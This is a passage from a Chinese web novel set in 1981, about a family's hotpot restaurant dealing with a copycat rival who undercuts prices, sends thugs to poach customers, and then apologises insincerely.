当那些充满了异域风情的西方建筑图片一拿出来,丁大勇眼睛都直了。 另一本则是薛老爷子的徒弟们走南闯北,经过一些有地方特色的建筑时,特意托人拍下照片送给老爷子,薛老爷子以各省市为单位,将这些照片整理成册。 这两本图集对于他们内行人来说绝对是宝贝。 薛老太太私下跟苏丽珍说,薛老爷子平时对这两本图集宝贝的很,老爷子的徒弟们知道他有这么两本宝贝,想借去看一看,可老爷子却捂得严严实实,任谁张嘴都不好使。 现在为了做公司的宣传册,老爷子二话不说就拿出来借给丁大勇看,这番用心叫师兄妹俩心里也充满了感激。 之后几天,苏丽珍两耳不闻窗外事,就一直在自家的店里专心绘制丁大勇交给她的效果图。 这一画就画到年初六饭店开张的日子。 初六早晨七点刚过,包括钟嫂子和田大姐两个钟点工在内,所有人都早早来了店里。 过了年,大家伙儿精气神都不错。 苏卫华照例先开了个早会,给大家做了做动员,然后就是集体大扫除。 因为人多,加上放假这几天,李翠阳和苏小麦闲不住,没事就经常打扫,所以饭店里基本没什么灰尘。 所有人一起,不到半个小时就把里里外外打扫得窗明几净。 上午九点,苏卫华点燃了一串鞭炮,正式开门营业。 虽然饭店开门了,但是这个时间尚早,还没什么人,苏丽珍就拿出张表舅头天送货的清单,核对上账。 余光瞥见曹金凤和夏春花两个凑在一起嘀嘀咕咕的,时不时还往她这边瞄两眼,不禁心里好笑。 这两个姑娘虽然性格迥异,但是意外的,关系居然处的很不错。 估摸着是连续几天没见着,两人攒了不少悄悄话要说。 她也没在意。 她是老板,但不是剥削家,只要员工能按时完成分内的工作,不搞小动作,其他的苏丽珍不会过多干涉。 只是没想到两个姑娘说着说着,忽然就凑到了她跟前。 苏丽珍看向两人。 曹金凤才期期艾艾地开口道:“那个……珍珍啊,我们有点事想跟你报告。” 苏丽珍挑眉,打量了她们俩一眼,目光在面含忧虑的夏春花脸上转了转,便放下手里的单子,和颜悦色道:“有什么事,说吧!” 还是一贯大胆的曹金凤率先开口:“就是,我大姨他们不是年初三就上班了吗?没想到她上班第一天就有人来找她开介绍信和证明,说是也要开一家私人火锅店!” “而且这家店开店的位置就在咱们这条街后边的长平大街上,就是原先那家红星理发店!” 苏丽珍听了心中一动,她原本以为两个姑娘找她是有什么个人的事,没想到却是为了店里来的。 对于附近出现跟他们家一样的火锅店这事,包括苏卫华夫妻在内,一家人早有了心理准备。 就如之前提到的,毕竟铜炉火锅本身没有什么技术含量,他们家生意又这么火爆,会引人跟风模仿一点不稀奇。 良性竞争,他们倒是不担心,就怕有人正面刚不过就动歪脑筋,到时候防不胜防。 她想曹金凤既然能来找她提这个话,肯定知道的不少,于是苏丽珍当即表示出了重视,认真点了点头,“金凤姐,你继续说。” 曹金凤自觉受到了鼓舞,爱张扬的性子又没忍住,立马放开了说起来。 “我大姨一知道这事,就来告诉我了!我昨天就找机会去他们家侦查了一圈。我跟你说,这家店特别不讲究,我一去就发现他们店里布置的啥啥都跟咱们店一模一样!” “也是一进门先有一个小柜台,说是以后卖熟食的;他们家没包间,但是每桌也学咱们分了隔断。” “只不过他们家地方小,加上舍不得花钱,咱们家是雕工好的木隔断、圆木珠帘,还有琉璃吊灯,换他们家就是一水儿的铁丝绳挂布帘子,抠抠搜搜的,知道的是进了饭店,不知道的还以为进了澡堂子呢!” “噗嗤!”旁边的夏春花没忍住,乐了出来。 苏丽珍也弯了弯唇角,她这会儿才发现,这曹金凤也挺能说的。 “咱们家这么多好东西,到了他们那儿,硬抄了个四不像!” “这也就算了,最可气的是,昨天我去的时候特意看了,他们也在门口摆了两块小黑板,上面写的东西种类居然也跟咱们家一样!” “什么麻辣火锅、鸳鸯锅、酸菜五花肉锅,只要咱们卖什么,他们就卖什么!而且从锅底到牛羊猪肉,所有东西都比咱们便宜了一、两毛!” “这些都不算,最恶心的是,他们居然也办会员卡,也搞了个积分兑换!什么都照咱们学,你说这天底下怎么有他们这么不要脸的人呢!” 说起这个,一旁的夏春花也笑不出来了。 她有些担忧地补充道:“是啊,珍珍,我大伯也说了,那家人已经递交了工商执照申请,我大伯他们按例下去走访,确实发现他们家很多东西都跟咱们家一样。” “我大伯打听过了,这家火锅店的老板姓朱,并不是个体户,他是市钢厂工会的一个小干部。” “这个我知道!”曹金凤立马又接过话。 “我大姨说了,之前的那家红星理发店属于集体财产,一个月前被挪到西郊新建的第二钢厂厂区里了。” “上面下了通知,原先的房子空下来后,要分配给隔壁邮局做包裹存储用。” “后来也不知道这姓朱的怎么运作的,这店铺就落到了他手里!” “我大姨看过他的手续,这房子是邮局承包给他的,材料基本都合规,我大姨也管不了!” 语气中满满的遗憾,似乎恨不能让她大姨出面,直接把人撵跑。 苏丽珍听了却有些吃惊,虽然现在并没有国企人员不准经商的规定,但是有正式工作的人很少看得起个体户。 而且现在也不是各大单位经济下滑的时候,不少人会为了养家糊口下海经商,这个时候就敢顶着周围人的歧视,一头往这个圈子里扎,不说如何破釜沉舟,肯定有一定的决心和资本。 这事恐怕有点棘手,尤其这样的人还有一定的人脉,如果真起了歪心思,恐怕就不像之前的王老四那样好对付了。《 》 100-110 第101章 夏春花最后道:“我大伯t说这家店准备初六开业,看他家不像善茬,他让我提醒你们千万要多注意!” 苏丽珍看见两个姑娘愤怒又担忧的样子,心中微暖。 虽然在这件事上大家的整体利益是一致的,但是店里的工作毕竟不是铁饭碗,作为受雇的一方,他们只管拿工资干活,其他的事也不用过分操心,如今这样上心,可见是真心实意地为店里着想。 她脸上带着淡淡的笑容,向两个姑娘真诚道谢:“金凤姐、春花姐,谢谢你们特意来提醒我,也请你们帮我向宋主任和夏所长转达一下谢意。” “你们放心,这件事我会放在心上。我不会让任何人破坏咱们店的安定和发展。” “我也向你们保证,不管外面开了多少家新店,我都一定会让大家月月有奖金拿!” 两个姑娘听了她的话,立时安心了不少。 虽然来这里上班儿的时间不长,但是对于眼前这位比她们年龄还小的小老板,她们现在是半点不敢小瞧! 人家说话办事的水平,那真是甩出她们半条街还带拐弯儿的。 虽然她们有时候也奇怪,怎么老板和老板娘两口子看着老实巴交的,生的闺女心眼子那么多呢? 可能,这就是老话说的,老天爷赏饭吃,天生的? 总之,有了苏丽珍的保证,她们很快就把这件事抛在脑后,又凑在一起叽叽喳喳地讨论起过年的热闹来。 两个姑娘前脚走,苏卫华后脚就过来了,问闺女道:“我看她们俩嘀嘀咕咕一早上了,又一起过来找你,是有啥事吗?” 苏丽珍便说了临街又开了一家火锅店的事。 苏卫华一听说这家店跟从前的王老四两口子一个德性,不但处处学他们,还故意压低价格抢生意,便有些反感。 不过他也不是当初一遇上这种事就惊慌失措的自己了,还反过来宽慰闺女: “没事,像这种挖空心思动歪脑筋的,多半是王老四那种人,没啥真本事!咱们小心提防着,到时候兵来将挡,水来土掩。” 苏丽珍当初对付王老四两口子,并没有告诉苏卫华夫妻。 因为苏丽珍,王老四两口子丢了火车站的买卖,不得不开始走街串巷。 可他们贪心不足,为了节约成本,用变质的猪肉做包子,结果吃坏了一所学校不少学生。 这两口子最终的下场也是被抓进劳教所,接受改造去了。 这件事造成的影响十分不好,还因此上了报纸,直接给全社会的个体户们都抹了黑,让本就没有多少好名声的个体从业者们处境更加艰难。 苏丽珍后来就把这件事告诉了父母。 时过境迁,苏卫华夫妻俩才知道女儿当初默默为这个家做了多少。这事本来应该他们做爸妈的来操心,却偏偏让年少的女儿来出头。 也是从这件事开始,夫妻俩才更加坚定信心,今后不管再难,也要多学习、多努力,好让自己足够强大,能够成为女儿坚实的后盾。 如今,再遇见这种很可能不是啥善类的竞争对手,苏卫华也能保持冷静的态度,从容面对。 苏丽珍看父亲心态良好,既没有过分在意、弄得自己紧张焦虑,也没有盲目自信、大意轻敌,不由心里高兴。 父女俩正说着话,这时外边匆匆进来了一个客人,苏丽珍一眼就认出,这是年前来订桌的客人。 他们这边有个习俗,六十六岁的老人并不是在生日当天过寿,而是专门在大年初六这一天单独庆祝。 有条件的还会摆上一、两桌酒,邀请亲朋好友一起庆贺。 这个客人家里的老父亲过完年正好六十六,所以年前二十九那天特意来找苏卫华,想在初六这天定一个包间,中午把家里的亲戚朋友叫来给老父亲贺寿。 除了这个人之外,在初六这天订寿桌的还有三家,也都是定的包间。 所以今天中午的四个包间原本是全部订出去的。 她还记得,因为订桌的客人都在店里办了会员卡,苏卫华就没有额外留订金,只是让苏小麦仔细记录了一下。 这会儿,苏丽珍看这个客人行色匆匆,她下意识往墙上的时钟瞄了一眼,见时间还不到九点,心里头就直觉不太妙。 果然,那客人进来见了苏卫华父女俩,先是客气地拜年问候,接着便一脸不好意思地表示,家里老爹的寿宴另有安排,所以想取消今天订的包间。 人家好商好量,时间也不算晚,苏卫华自然不好说什么,便痛快地答应了。 只是没想到这客人走之后,另外订包间的三家又陆续有两家上门要求退桌。 这还不算,往常过了十点钟,客人就该陆续上门了,基本乐不到十一点,客人就能坐满。 可今天过了十一点,大厅里八张桌还空了三张! 就算是刚过完年,大家肚子里不缺油水,这种情况也绝对不正常。 年前那两天,他们家准备闭店歇业的时候,就有不少客人抱怨他们家休息时间太长,说是难得过年清闲几天,他们家偏偏不开门,当时非磨着他们早点开店营业。 只是苏卫华夫妻想着家里也忙了大半年了,不差这两天,这才没松口。 当时有不少客人都表现得十分遗憾。 所以今天这么点客人绝对不对劲儿。 十一点一刻,四个包间“硕果仅存”的那一桌客人才姗姗来迟。 这桌客人姓王,是个工程师,特别喜欢吃他们家的麻辣火锅。 打从他们家开店起就隔三差五来报道。 他今天订的这一桌是给他老丈母娘庆贺六十六大寿的。 也没请外人,就是他自己一家,加上丈母娘和小舅子一家,一共17口人。 王工程师因为来得勤,跟苏卫华父女俩也算熟识,这回进了门还没等点菜,就先给父女俩“通风报信”。 “今天我差点儿来不成!” 王工程师上来就交了底儿,“我跟你们说啊,你们家隔壁长平大街上又新开了一家‘朱记火锅店’,卖的东西跟你们家一样一样的!” “他家也学你们当初开业那样,弄了台录音机在街上放歌吸引顾客,还挺热闹的!” “而且我们来的时候,还看见他家雇了好几个人在大街两头拉人。” “当时有个小伙子拉着我老丈人,说是去他们家吃火锅,牛、羊肉全都一块钱一斤,猪肉一块一,而且今天新店开张全场6折!说的我老丈人和老丈母娘都心动了,差点就过去了!” 父女俩对视一眼,心里都有一点吃惊。 这个价钱还要打六折,别说挣钱,不赔本都很难!看来这个朱记为了招揽生意也是下了血本了。 王工程师也是感叹不已,“还好我意志比较坚定!苏老板,我跟你说,我年轻的时候到川省那边出过差,川省叫得上名的美食,我就没有没吃过的!” 看得出他是真的喜欢美食,一提起这些来,一脸神采飞扬。 “关键是我记性还好啊,只要是好吃的东西,我吃一口就能记一辈子!” “我跟你们说,我从那家‘朱记’路过的时候,我一闻他们家那麻辣火锅的味儿,我就知道他们家不地道,照你们家那是差远了!” “所以我就坚持要带我老丈母娘他们一定要来你家吃!我老王可是明白人,无论到什么时候,都是一分钱一分货!” 对王工程师这样的支持,苏卫华父女俩自然表达了感谢,上菜时也特意多给他们家赠了几道菜。 招待了王工程师一大家后,苏丽珍便把王树叫了过去。 她打算找人去那个‘朱记’探探路,也做做功课。 不过店里的这些人肯定不行,对方既然把他们家探听得这么清楚,必定也对店里的人有所了解。 她想起苏卫华曾经说过,王树父母早亡,他是带着弟弟跟着他爷奶一起生活。 他弟过完年好像也有十六了。 “树哥,你刚刚应该也听到了,隔壁长平大街上新开了一家‘朱记火锅店’。” 王树点头,他确实听到了,毕竟包间就是他管辖范围。 刚才他上菜的时候,就一直听几个顾客念叨那个‘朱记’如何便宜,还说在他们这儿吃一顿,足够去那边吃两顿了,实在不划算什么的。 直到他把锅底和小菜都上齐了,那几个人尝了他们家的火锅之后,才不再说什么t。 苏丽珍继续道:“我想让你回家找你弟,让他带着你爷奶去‘朱记’尝尝他家的火锅。” 说着,从衣兜里掏出五块钱递给对方。 王树一下就明白了她的意思,不过他没有接苏丽珍递过来的钱,而是主动道:“珍珍,这饭是要吃到我们家人肚子里的,我们自己掏钱就行。” 苏丽珍摇头,“不是这么回事。让你们去吃饭是我的意思,相当于是我派给你们的工作,自然不能让你们自己掏钱。” 她把钱硬塞到了对方手上,叮嘱道:“告诉你弟他们,想吃什么就点什么,不要顾虑太多,到时候反而让人发现不对劲儿。” “而且不要特意做什么,我只是让你们去尝一尝他们的锅底味道。” 王树这才收了钱,脱下身上的工作服,披上大棉袄往自家跑。 下午两点,一个跟王树一样高高瘦瘦,模样有五分向的男孩捧着两个饭盒悄悄进了店。 第102章 男孩就是王树的弟弟,王松。 王松看着性格比他哥腼腆,白净的脸上带着书卷气,见着苏丽珍一家还有些紧张。 不过这孩子跟他哥一样,做事聪明又细心。 他把这次去“朱记”吃饭花的每一笔钱都工工整整记在一张纸上,连同找回的钱一起交给了苏丽珍。 知道苏家人最关心的是“朱记”的火锅味道,在吃饭前就悄悄先用饭盒盛了一些汤底,带了出来。 两个饭盒,一个是“朱记”的清汤滋补锅底,一个是正宗川渝麻辣锅底。 不过现在已经凉了,被李翠英亲自拿到后厨加热去了。 苏丽珍就先看那张花销单。 单子一打开,旁边的苏卫华就忍不住赞了一句:“这字写的真漂亮!这孩子学习一定很好!” 王松有些不好意思。 做哥哥的王树连忙满脸笑容道:“是啊,叔!我弟他比我强多了,他成绩一直很好,回回都是班级第一!”语气中难掩骄傲。 看得出,这兄弟俩感情很好。 苏卫华又夸奖了几句后,众人的注意力才又回到那张单子上。 这么一看,“朱记”卖的东西还真跟他们家差不多。 而且每一种的价格比照他们都要低一些,连一份普普通通的素菜都要便宜两分钱。 说那家人不是故意的,都没人相信。 苏家人在研究那份单子时,一旁的王松还不忘做出一些补充,详细说起“朱记”店里的情况。 “朱记”各方面跟之前曹金凤说的差不多,店里目前是姓朱的老板夫妻俩加上一个男服务员一起做事。 后厨因为是从前理发店洗头的地方改的,墙上也没开窗户,外人看不见里边,所以王松也不知道具体有几个人。 但是估计那么小的地方,顶多也就两个人。 除了这些,苏丽珍还有一点想知道。 她从自家后厨拿出了一个洗刷干净的鸳鸯锅给王松看,“小松,他们家鸳鸯锅什么样?跟我们家的一样吗?” 当初,他们把鸳鸯锅的设计图交给锅具厂于厂长的时候,并没有要求对方保密。 所以,对于市面上可能出现跟他们家一样的鸳鸯锅这事,她一点儿不稀奇。 谁知,王松看了看那锅底特制的、专门用来分隔汤底的两块铜片,却摇了摇头。 “不一样。他们家的鸳鸯锅并不是这样,能一口锅分装两种锅底,而是卖的鸳鸯锅套餐。” “就是客人点一份套餐,直接上来两口铜锅:一口清汤,一口麻辣。” 苏丽珍全家:“……” 该说这个朱老板脑子挺活吗?这种办法都能让他想出来。 苏丽珍不由腹诽,不知道他们知不知道这世上有一种火锅叫“九宫格”,以他们家的尿性,该不会一张桌上来九口锅吧? 这边王松继续说道:“还有,他们家是五块钱就可以办一张会员卡。办了会员的人进店吃饭,全部菜品一律八折。” 苏丽珍听了,蹙了蹙眉。 新店开业当天,推出力度大的优惠措施是为了宣传店面,提高知名度,这点她能理解。 可是会员制度做为一种营销手段,同时也是维护和稳定客户资源的一项经营方式,最忌讳的就是朝令夕改、不稳定。 也就是说,好多措施一旦定下,轻易就不能改变了。 所以开始压低的价格,没有特殊原因,后期就不好往上调了。 而“朱记”本身的菜品价格定价已经很低了,针对会员的价格又一再降低,甚至这个优惠的价格还涵盖了店内所有菜品,那他们的利润还能剩多少? 长此以往,等前期会员办卡的红利吃完,目前的营收还能支撑住开销吗? 如果是规模比较大的店面,做快餐生意,靠量取胜也不是不可以。 可“朱记”的规模明显达不到,而且还是做火锅这种慢功夫的菜品,注定了这条路走不通。 其他人显然也想到了这一点,苏卫华就问王松:“孩子,你知不知道他们酒水怎么卖?” 王松愣了下。 他是带着爷爷奶奶一起去吃饭的,一家老的老、少的少,根本没想到喝酒的事。 他不禁有些惭愧地低下头,“对不起,叔叔,我没留意……” 苏卫华忙道:“没事,孩子,这不是啥要紧事,叔就是随口问一下。” 苏丽珍想起不光是酒水,曹金凤之前就说过“朱记”也设了熟食柜台。 这个问题王松知道。 “朱记”今天并没有正式售卖熟食,只是每桌赠了一小份。 不过等王松他们去吃饭的时候,熟食已经赠完了,所以他们也没尝到。 大家想着,也许他们的盈利点就是放在熟食和酒水上。 至于其他的价格干啥压得这么低,不用问,自然是为了挤兑他们这个对手,抢生意罢了。 毕竟这天底下,没有人做生意不是奔着挣钱去的。 “朱记”现在能下这么大的本钱,只能说他们图谋的更多而已。 说话间,李翠英已经把两个饭盒的汤底热好了,又拿了一把勺子,叫大家都尝一尝。 苏丽珍接过勺子,先是观察了一番。 其中这个白汤锅底,对方宣称用的是跟他们家一样的滋补骨汤。 但是从那一眼能看到底儿的清汤来看,这跟他家用好几种大骨头、小火慢熬几小时的奶白色汤底,截然不同。 至于红汤的麻辣锅底,也完全没有他家那种红润油亮的感觉,更没有正宗川渝麻辣火锅那种动辄扑鼻的麻辣鲜香味儿。 苏丽珍用勺子舀了一点尝了尝,连她这个不算专业厨师的人都能尝出这汤底根本没用牛油炒过,就是一锅加了辣椒和香料煮出来的辣汤。 从字面上看,非要说是麻辣火锅也可以,但是跟川渝麻辣火锅就基本没什么关系了。 抛开是否正宗、以及名副其实的问题,“朱记”的火锅口味只能算是普通。 当然,你也不能说它难吃,但是也没有多么让人喜欢,反正远远没到让人眼前一亮的程度,就是一般的家常水平吧。 而以现在人的消费心理,你让他们花钱去吃一顿跟在家差不多水平的饭菜,他们是绝对不认可的。 为了避免苏家人是王婆心理,下意识认定自家东西好,苏丽珍索性把店里的人都叫了过来,也挨个尝一尝。 结果大家的反应也很一致。 曹金凤更是直接嚷嚷道:“就这水平,难怪卖的这么便宜!有那心思不要脸处处学别人,还不如自己好好琢磨琢磨做饭的手艺!” 也是话糙理不糙了。 了解了对方的大致情况,苏家人心里也有了底儿,之后还是按部就班的开店营业,即便这两天客人少了一些也没怎么在意。 还是那句话,现在能常来吃火锅的人十个有八个是不差钱儿的。 他们或是自身喜欢美食的老饕,或者是有些身份地位的。既然想吃这一口,只要你家味道正,人家就舍得花那份钱。 何况苏丽珍当时定价标准都是照比国营饭店,是完全合理的。 “朱记”那种才是处处透着不合理。 而这两天的功夫,苏丽珍也进一步摸清了“朱记”的情况。 “朱记”的熟食价格跟他们家几乎一样,味道也还可以,不过大伙儿反应,照比他们家还是差了一成。 至于朱家的酒水价格则是在进价基础上直接溢价两倍出售,而他们家是三倍。 也就是说,同样一毛钱进的酒,苏家卖三毛,朱家只卖两毛,再加上会员打八折,那就是一毛六,这个价位也真心没有多少利润可言。 要知道苏家店里的酒几乎是不t计入在会员价范围内的。 苏丽珍有时候觉得,为了打击他们不惜做到这个份儿上,那个朱老板也是个狠人。 可惜有些事情根本不是靠一味压价就能达到目的。 苏家的“珍珍火锅店”在连续经历了三天的低谷后,到第四天客流开始回升,从第五天开始就基本恢复到了年前水平。 之后平均下来,每天都能有八、九十桌客人。 客流回升后,苏丽珍也没有放松警惕,而是叫大伙儿时刻注意,提防有人闹事。 果然,生意恢复没两天,就有两个混子模样的人专门守在自家附近拉人,抢生意。 “哎,大哥,吃火锅吗?到后边那条街‘朱记’吧,他家便宜!一斤羊肉才一块钱,猪肉才一块一,上哪儿找这价去?您要办会员还给打八折呢!” “哎,大爷、大娘,这家太黑心了,做的也一般,你们不如听我们哥俩的,去‘朱记’吃,那边才划算!” 不少客人看见他们流里流气,不像好人的样子,大多没搭理,进了店里就主动告诉了苏家人。 苏丽珍听了,把两个姑娘留在店里招待客人,二话不说,叫上王树、齐志飞和苏卫华一起,又拎了两桶水就直奔大门外。 彪悍的张舅妈不甘示弱,一听外边有人找事,抄起两根擀面杖也跟着冲了出去。 正巧,那两个混子连着拉了好几个人都没成功,正不知道凑在一起研究什么损招儿。 苏丽珍当即指挥王树和齐志飞,把手里两桶水罩着那两人兜头泼了过去。 虽然这会儿照比年前寒冬腊月,气温有所回升,但是白天仍然有零下十度左右,这两大桶水浇下去,即便两个混子身上穿着厚厚的棉袄,还是冻得浑身僵硬。 想动手却伸不开拳脚,其中一个只能哆哆嗦嗦地指着打头的苏丽珍骂道:“艹你妈,敢泼、泼我们水,老纸他妈整shi你!” 嘴都冻瓢了。 苏丽珍丝毫没被他的凶神恶煞吓住,反而冷冷看着两人,大喝道:“闭嘴!你们敢站在我们家大门口找事,我送你们两桶水都是客气的!” “现在赶紧滚,再敢来恶心人,我就没这么好说话了!” 苏丽珍说完,一旁的齐志飞看了看,从店门口捡起一块平时丁大勇摆摊垫车的砖头,走到那两人面前,伸手成刀,照着砖头就狠狠劈了下去! 那砖头竟然直接被劈成了两半儿! 所有人:“!” 张舅妈反应过来,顺势把手上的两根擀面杖也互相敲了几下,咣咣的,还挺响。 被齐志飞那一招直接震住的两个混混这才反应过来,这回连冻带吓,也不敢再废话,屁滚尿流地就要跑路。 “等等!” 苏丽珍忽然又把两人喊住。 “回去告诉你们那位朱老板,我们开这么大一家店,什么人没见过?我们光脚的可不怕穿鞋的,下次他要再这么没脸没皮,可别怪我干出什么让他后悔的事,不信他就试试!” 第103章 回到店里,大家立马把齐志飞团团围住。 等苏卫华再三确认他的手没有问题后,所有人看齐志飞的眼神都直发光。 王树更是一脸的崇拜,“飞哥,你也太厉害了!你是不是会功夫啊?” 齐志飞性子比较内敛,面对大家钦佩羡慕的目光,一向冷肃的眉眼也和缓了不少。 他微微笑道:“以前在部队的时候学过一点散打。” 众人面露恍然,怪不得呢! 齐志飞见王树脸上露出渴望的神色,想了想,难得主动问了一句,“你想学吗?我可以教你。” 王树一听,眼睛亮的不行,“可以吗?会不会太麻烦飞哥你了?” 齐志飞摇了摇头,“不麻烦,每天早起两个小时就差不多了,我们两家离得不算远,你到时候可以跟着我一起练。只不过你要做好思想准备,练这个很辛苦的。” 王树立马道:“飞哥,你放心,我不怕辛苦!” 众人也纷纷勉励了王树几句,让他到时候一定好好跟齐志飞学,不说将来身手多么厉害,起码也能强身健体。 连曹金凤和夏春花两个小姑娘都有些动心。 不过一想到每天要早起两个小时,夏天还好,冬天那么冷,实在是太遭罪了,便歇了心思。 她们不敢去骚扰高冷的齐志飞,只能拽着王树一遍遍的唠叨,让他务必学好之后也教她们两招防身。 说到这个,倒提醒了苏丽珍,要注意大家的安全问题。 不光是因为白天那两个小混混,还有现在已经是81年,治安情况会越来越不好,直到83年第一次严打,情况才会好转。 现在天黑的还早,大家下班必须要注意安全。 她把所有人叫到一起,嘱咐大家晚上下班后一起结伴回家。 尤其让王树和齐志飞辛苦一些,到时先送女同志回家。 唯一就是张舅妈家远了点,他们现在住在近郊的镇子上,骑自行车也要大半个小时。 虽然每天晚上有张表舅接她回家,但是苏丽珍还是有些担心。 她暗自琢磨着,打算去卢家找卢大哥,试试看能不能搞几根警局淘汰的电棍,到时候给大家带着防身。 —— 赶跑了那两个小混混,苏家人本以为与“朱记”就算是撕破了脸,以后双方再遇上必然不会太友好。 没想到“朱记”的人居然第二天大清早就亲自上门了。 来了两个人,其中一个还是朱记的老板朱广才。 而且出乎苏家人意料,这两人竟然是上门赔礼道歉来了! 朱广才四十多岁的年纪,中等身量,天生一副笑面,看上去似乎很好说话的模样。 表明了来意后,他就拽着跟他一起来的男青年对着苏卫华好一顿赔不是,姿态放的很低。 “嗐,苏兄弟,你看这事怎么说的!我这妻弟打小被娇惯着长大,养成了一副大大咧咧的性子,做事顾头不顾尾。” “他看我们家开业当天找人上街搞宣传、招揽客人的效果挺好,就想着这两天继续找人试试。” “结果他粗心大意惯了,一时也没看好,不小心就找了这么两个混混,还直接跑到你们家门口拉人来了,确实是不像话!” “当然,这事也怪我!要不是我正好今天上午去外边进货,不在家,他也不会匆匆忙忙的,识人不清,惹出这么大的误会!真是对不住了!” 苏丽珍在旁边听的冷笑不已。 这人说了这么多,无非就是把错误都推到那两个混混身上。 至于他们自己,一个是粗心大意,识人不清;一个更是因为不在家,事发毫不知情,真是都再清白无辜不过了! 苏丽珍最反感这种虚伪至极的伪君子。 但偏偏在讲究人情世故规则的社会里,这种人往往如鱼得水,很吃得开! 跟这种人对上,十次有九次是老实人吃亏。 她看了一眼脸色不渝的苏卫华,知道这种情况下,他也没法多说什么。 但是自己这个尚未成年的小姑娘就不用顾忌那么多了。 于是她故意抢在苏卫华之前,对着朱广才鼻子不是鼻子、眼睛不是眼睛道:“哦,原来你们粗心大意,雇的人就敢跑到我们家大门口抢客人,那你们要是仔细认真雇个人,还不得进我们家**烧一顿啊!” 朱广才连忙摆手:“不、不,小姑娘,这真是误会!” 苏丽珍却不等他说完,继续一脸刁蛮地嚷嚷道:“什么误会不误会的!就当你说的真是误会,你们那两个眼睛是摆设不成,好坏人都分不出来?” “要不然你们就是倒霉催的,只能招那种专干缺德事的倒霉鬼!就你们这样的,我看你们的店也开不长,早晚倒闭!” 这话实在不好听,朱广才和他小舅子脸色都变了变。 朱广才的小舅子当即冲着苏丽珍喊道:“喂,臭丫头,我告诉你,别得寸进尺!我们都已经给你上门赔礼道歉了,你们还想怎么样!” 苏丽珍可没被他凶神恶煞的模样吓住,充分把自己那刁蛮凶悍的人设维持到底。 “你凶什么!哦,你们干了缺德事,轻飘飘一句‘对不起’就算完了?” “那好啊,我也会呀!我现在都不用干什么,就骂你们是‘倒霉催的,你们家店用不了几天准得关门倒闭’,然后我也跟你说一句‘对不起,我不是故意的’,行不行啊?” “你!” 朱广才的小舅子气得脸色发青,恨不得当场扑过来掐死苏丽珍。 可他刚一动,旁边一直盯着他的齐志飞和王树立马围了过来。 尤其齐志飞的眼神带着一股狠劲儿。 朱广才的小舅子也在道上混过两天,他t一眼就看出这是个见过血的,所以哪怕对方腿脚有点问题,他也没敢有半点轻视,只能咬牙忍下。 这个时候苏卫华也不能一直不开口,他轻咳了一声,假装斥责闺女道:“珍珍,不能这么没礼貌。” 然后又看向朱广才两人,“两位,对不住,我这女儿被我们宠坏了,脾气不大好。” 朱广才讪笑两声:“没事、没事,令嫒也是赤子之心,苏兄弟……” 苏卫华却直接打断他,不冷不热道:“朱老板,都说同行是冤家,你们家那店开的又像是跟我们家的分店似的,处处一个样儿,这本来也怪不得我们多想!” “当然你要坚持说,一切都是误会,那我也不说什么。反正这么大的凤城,以后大伙儿各做各的生意,咱们井水不犯河水,毕竟和气生财。” “可什么事再一、再二,不能再三!再闹出点儿什么幺蛾子,朱老板,你也别怪我不给你面子!” 苏卫华的话,既是接受了朱广才的说辞,暂时同意了和解,同时也是一种警告,让对方别真把他们当傻子。 这样不软不硬的态度十分管用,本来还想放两句狠话的朱广才小舅子也被朱广才拉住。 他本人则是一脸正色地保证道:“苏兄弟,你心里有怨气,我也理解。但是这里面确实都是误会。大家虽是同行,但也可以守望相助嘛!” “那这样,我看你们也准备营业了,那我就先告辞了。” “苏兄弟,要是哪天有空的话,欢迎到我们小店儿坐坐,小弟我一定扫榻相迎!” 苏广才两人一走,李翠英和苏小麦才走了过来。 李翠英问闺女:“珍珍,他们到底什么意思啊?” 苏丽珍讽刺一笑,“不过是故意试探咱们,结果发现试探出的结果不理想,所以又舔着脸,搞了这么一出上门赔罪的把戏。” 朱广才的话,她一个字都不相信。 一个挖空心思,处处抄袭他们抢生意的人,怎么可能不知道手底下雇的人是什么货色? 原以为对方只是够不要脸,今天看来还能屈能伸,装的一副好“相”,这种人最是不好对付,看来以后要小心了。 苏卫华也是这么想的。 父女俩商量了一下,开早会时特意叮嘱大伙儿,最近这段时间要多留意,如果发现店里或附近有什么可疑人物,一定要尽早通知他们。 显然,苏家人的担心并不是多余的。 朱广才和小舅子一从苏家出来,朱广才脸上温和的笑就变成了满脸的阴沉不快。 不过不知想到什么,他又很快调整好情绪,对自家小舅子安抚道:“超啊,这次让你受委屈了。” 小舅子吴超原本正嘴里不干不净地骂着苏丽珍一家,一听这话赶忙道:“姐夫,看你说的,这点儿小事算个啥!” 接着,又有些咬牙切齿道:“可恨这苏家人太不是个东西,咱们都亲自上门了,他们还那副态度!” “尤其是那个死丫头,竟然敢咒咱们家店倒闭,老子真恨不得撕烂她的嘴!” 朱广才道:“没事,那丫头也不过是仗着他们家店生意好,不用搭理她!等咱们把她家挤兑黄了,让他们赔个血本无归,到时她就老实了!” 吴超又问:“姐夫,你说他们能相信咱们吗?” 昨天那两个混混确实是他们特意安排的,就是为了来探一探“珍珍火锅店”的底儿。 结果,那两人去了没多久就弄得落汤鸡似的,被人撵回来了! 俩混子哆哆嗦嗦地跟他们学了苏家人放的狠话。 尤其还强调了“珍珍”店里有个员工身手很厉害,甚至能徒手劈砖头! 再加上之前零散打探到的一些消息,姐夫觉得有些棘手,至少目前明面上不适合撕破脸,这才带着他来赔礼道歉。 朱广才却是狡诈一笑:“信不信无所谓,反正表面功夫到了就行了!超啊,你记住,越是不好对付的人,你越要沉得住气!” “只有傻子才用真刀真枪正面刚的套路,咱们聪明人讲究的是暗度陈仓,兵不血刃。即便将来事情不成,也能全身而退。 吴超受教地点了点头,还一脸崇拜地看着朱广才,“姐夫,我明白了,你可真厉害!” 朱广才十分受用,不过想到刚刚苏家人那不软不硬的态度,多少也有些头疼,这块骨头还是有些难啃的。 他有些惋惜道:“可惜我托人打听到,这老苏家好像跟纺织厂的一把手有点关系,当初那栋小洋楼也签的长租。” “要不然咱们找找人,想招直接把他们撵走,就不用费这么多功夫了!” 吴超听完也跟着一番长吁短叹。似乎对于不能痛快地把碍事的苏家人撵走这一点,比他姐夫还要扼腕。 毕竟那小洋楼那么气派,要是他姐和他姐夫在那开店,那说出去他得老有面儿了! 苏丽珍丝毫不知道有人还惦记着她家这栋花了不少心思的小洋楼了,知道了也只会冷笑一句,对方绝对是想屁吃! 在嘱咐了店里的员工多留心之后,接下来的几天倒也风平浪静。 只是没想到,张表舅那里突然有了情况。 那天晚上,张表舅赶着马车来送货,顺便接张舅妈下班。 现在为了方便接送张舅妈上、下班,张表舅都是赶着一早一晚送货。 